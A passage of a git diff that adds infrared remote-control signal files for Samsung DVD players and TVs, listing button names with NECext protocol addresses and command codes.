00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 92 00 00 00 +# +name: disc_menu +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A7 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AE 00 00 00 +# +name: ez_view +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir new file mode 100644 index 000000000..b14a91a04 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 28 00 00 00 +# +name: mark/search +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: progressive/speed +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: angle/timer +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 45 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 48 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 55 00 00 00 +# +name: input_sel +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: disc_menu +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 60 00 00 00 +# +name: mode/repeat +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 66 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir new file mode 100644 index 000000000..75e981d00 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 22 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: disc_menu +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: hdmi_sel +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: i.replay +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AC 00 00 00 +# +name: i.skip +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AE 00 00 00 +# +name: ez_view +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir new file mode 100644 index 000000000..0db88f3f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 92 00 00 00 +# +name: TopMenu +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 93 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: RW +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A7 00 00 00 +# +name: Repeat_A-B +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: BookMark +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A9 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: KEY_3D +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir new file mode 100644 index 000000000..696f6c95d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: tv/video +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: pre-ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: p.std +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: ch.scan +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 31 00 00 00 +# +name: surf +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3D 00 00 00 +# +name: turbo +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir new file mode 100644 index 000000000..46e7cad8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 92 00 00 00 +# +name: top_menu +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 93 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: search_back +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: search_forward +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9E 00 00 00 +# +name: skip_back +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: skip_forward +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A7 00 00 00 +# +name: repeat_AB +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: bookmark +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A9 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: KEY_3D +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AB 00 00 00 +# +name: i.replay +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AD 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AE 00 00 00 +# +name: s.fit +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir new file mode 100644 index 000000000..4f0553df0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 92 00 00 00 +# +name: top_menu +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 93 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: search_back +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: search_forward +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9E 00 00 00 +# +name: skip_back +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: skip_forward +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A7 00 00 00 +# +name: repeat_a-b +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: bookmark +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A9 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: KEY_3d +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AB 00 00 00 +# +name: volcon +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AD 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AE 00 00 00 +# +name: s.fit +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir new file mode 100644 index 000000000..ca6ecb8b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: P.STD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: 